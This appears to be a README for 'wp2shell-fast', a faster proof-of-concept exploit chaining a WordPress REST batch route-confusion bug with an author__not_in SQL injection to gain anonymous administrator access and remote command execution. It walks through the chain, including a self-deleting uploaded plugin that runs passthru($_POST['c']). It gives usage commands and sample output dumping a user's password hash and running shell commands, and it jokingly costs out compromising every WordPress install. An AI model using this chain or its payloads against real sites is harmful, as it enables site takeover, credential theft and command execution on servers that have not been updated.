We did not find this bug. Adam Kues / Searchlight Cyber did, and the first
public end-to-end PoC came from sergiointel. All credit for the actual
research goes there. Our sole contribution is that we sat and watched the
original exploit binary-search its way through a blind SQL injection, one
character at a time, at SLEEP(0.4) per bit, and decided that was
approximately 93 requests too many.
So: wp2shell-fast. Same anonymous pre-auth chain, same shell, roughly one-sixth of the round-trips. Hack the WordPresses faster.
wp2shell chains two WordPress core bugs fixed in 6.9.5 / 7.0.2:
| CVE-2026-63030 | REST batch route-confusion — serve_batch_request_v1() skips $matches[] for a parse-failed sub-request, desynchronising it from $validation[]. A request then executes under a different route's handler, so /wp/v2/categories data lands in WP_REST_Posts_Controller::get_items() — bypassing the posts-schema validation. |
|---|---|
| CVE-2026-60137 | author__not_in SQL injection — a 6.8.0 regression dropped absint() from the scalar path, so post_author NOT IN (<scalar>) is UNION-injectable. Unreachable via REST until the desync delivers a scalar past the schema. |
Neither bug is exploitable alone. Together, anonymously, they get you a
UNION SQL injection — and from there the original chain poisons the WordPress
object cache with fabricated post rows, drives an oEmbed + customize_changeset
+ parse_request re-entrancy to run as the administrator, creates a new admin
mid-batch, and uploads a plugin for command execution. No password cracking.
| Software | WordPress core |
|---|---|
| Vulnerable | 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1 |
| Not affected | ≤ 6.8.5 (the desync was introduced in 6.9.0; the SQLi sink existed but was unreachable) |
| Fixed in | 6.9.5 and 7.0.2 |
| Auth required | None — single anonymous POST /?rest_route=/batch/v1 |
| Result | New administrator + remote command execution as the web user (www-data) |
| Confirmed on | Stock WordPress 6.9.4 on Apache + mod_php + MariaDB, Ubuntu 24.10 |
http://: parse-fail entry shifts
$matches; a nested batch bypasses the method-enum so a
GET /wp/v2/categories?author_exclude=… executes under
posts::get_items().
author_exclude reaches
author__not_in unquoted → time-based oracle and UNION injection.
UNION ALL SELECT <fabricated wp_posts row>
becomes a forged WP_Post in the in-request object cache.
customize_changeset(user_id=admin)
+ a request-typed post drive a re-entrant parse_request; the changeset
applies as the admin, flipping current_user mid-batch.
POST /wp/v2/users {roles:[administrator]}
now runs as admin → new administrator created. No cracking.
passthru($_POST['c'])), execute, self-unlink.
The original PoC spends ~90 of its ~111 requests blind-extracting five small
values (table prefix, admin_id, three oEmbed-cache post IDs) one bit at a time.
The insight: four of those five are only ever used inside SQL. So don't
extract them into Python and paste them back — reference them as subqueries in
the escalation UNION and let the database resolve them. It's "in-band without
the fragility," and it sidesteps the whole WP_Query hydration/pagination mess
you hit if you try to read the fabricated rows back out of the JSON response.
| # | Optimization | Saves |
|---|---|---|
| A | Guess wp_ table prefix, verify in 1 probe (fall back to blind) | ~60 requests |
| B | Inline the 3 oEmbed-cache IDs as SQL subqueries in the escalation UNION | ~78 requests |
| C | Guess admin_id = 1, verify (fall back to blind getint) | ~3 requests |
| D | Leaner timing calibration (3 fast / 2 slow samples) | ~3 requests |
| E | Drop the redundant post-login users.php round-trip | 1 request |
Every guess has a blind fallback, so it stays general across installs.
The one value that must be a Python literal is admin_id
(it's baked into the hex-encoded changeset JSON), hence guess-1-and-verify.
| Version | Requests → shell |
|---|---|
| original public PoC | ~111 |
| + prefix guess + inline cache IDs | ~24 |
| wp2shell-fast (all of A–E) | ~18 |
The injection core is now ~4 requests. The remaining cost is the standard login → plugin-upload → execute dance (~9), which the SQL tricks can't touch.
Suppose — and we stress suppose — you wanted to own every WordPress on Earth. There are roughly 500,000,000 live WordPress installs. Assume, in the grand tradition of not doing market research, that all of them are running a vulnerable 6.9.x / 7.0.x point release, because entertaining the alternative is bad for the bit.
| original PoC | wp2shell-fast | saved | |
|---|---|---|---|
| requests / site | ~111 | ~18 | ~84% |
| requests / entire internet | 55.5 billion | 9.0 billion | 46.5 billion |
| wall-clock @ 10k req/s (one box) | ~64 days | ~10 days | ~54 days |
| egress @ ~2 KB/req | ~111 TB | ~18 TB | ~93 TB |
| egress bill @ $0.09/GB | ~$10,000 | ~$1,620 | ~$8,380 |
So the optimization turns "hack the entire internet" from a two-month job into a ten-day job on a single modest VPS, and shaves ~93 TB and roughly $8,000 of egress off the bill. Put differently: for the same budget, you can now hack the entire internet six times — which is five more times than anyone strictly needs to.
We are contractually obligated to note that the actual vulnerable population is a rounding error — the patch shipped weeks ago and only two narrow version bands are in scope — so the honest figure is "some tens of thousands of un-updated boxes" and the honest savings is "you finish before lunch instead of after lunch." But *55.5 billion → 9 billion* is a much better slide, and we are, above all, professionals.
Stock WordPress 6.9.4, anonymous, three modes:
$ python3 wp2shell-fast.py http://target [+] vulnerable: 0.016s/0.416s $ python3 wp2shell-fast.py http://target "SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users LIMIT 1" admin:$wp$2y$10$y3Zy2LrA/R9OXY2beebk9eFIqEH66.Pr7LJjbVChWZ/LwvGP… $ python3 wp2shell-fast.py http://target -c "id; uname -sm; whoami" [+] administrator: w2s_ffd07e220194:W2s!AZ23MSLukLP7vB2M5J2v uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux x86_64 www-data
-c command exec.# is it vulnerable? python3 wp2shell-fast.py https://target.example # dump one value python3 wp2shell-fast.py https://target.example 'SELECT DATABASE()' # command execution python3 wp2shell-fast.py https://target.example -c 'id'
Single file, standard library only, no dependencies. Every optimization is documented in the header, with blind fallbacks intact.
sergiointel — first public end-to-end PoC (the ~111-request one).We want to be clear that "hack the WordPresses faster" is not a security improvement, a novel technique, or a contribution to the field. It is us noticing that a blind SQL injection that binary-searches an 8-character table name is 56 requests we will never get back, and that MySQL is perfectly capable of looking things up for itself if you simply ask it inside the same query.
The general lesson, such as it is: when your exploit extracts a value only to paste it back into more SQL, don't. Inline it. The database already knows.
We also note, without comment, that the fix for all of this shipped in 6.9.5 and 7.0.2 weeks ago, and that "the majority of installs are on the previous point release" is a sentence that has been true about WordPress every day since 2004.
| 2026-07-17 | wp2shell disclosed (Searchlight Cyber); WordPress 6.9.5 / 7.0.2 released |
| 2026-07-18 | Public end-to-end PoC lands |
| 2026-07-18 | We refine it to ~18 requests, confirm end-to-end on 6.9.4, and stop waiting |
| — | No new CVE. It's the same two bugs, just quicker. |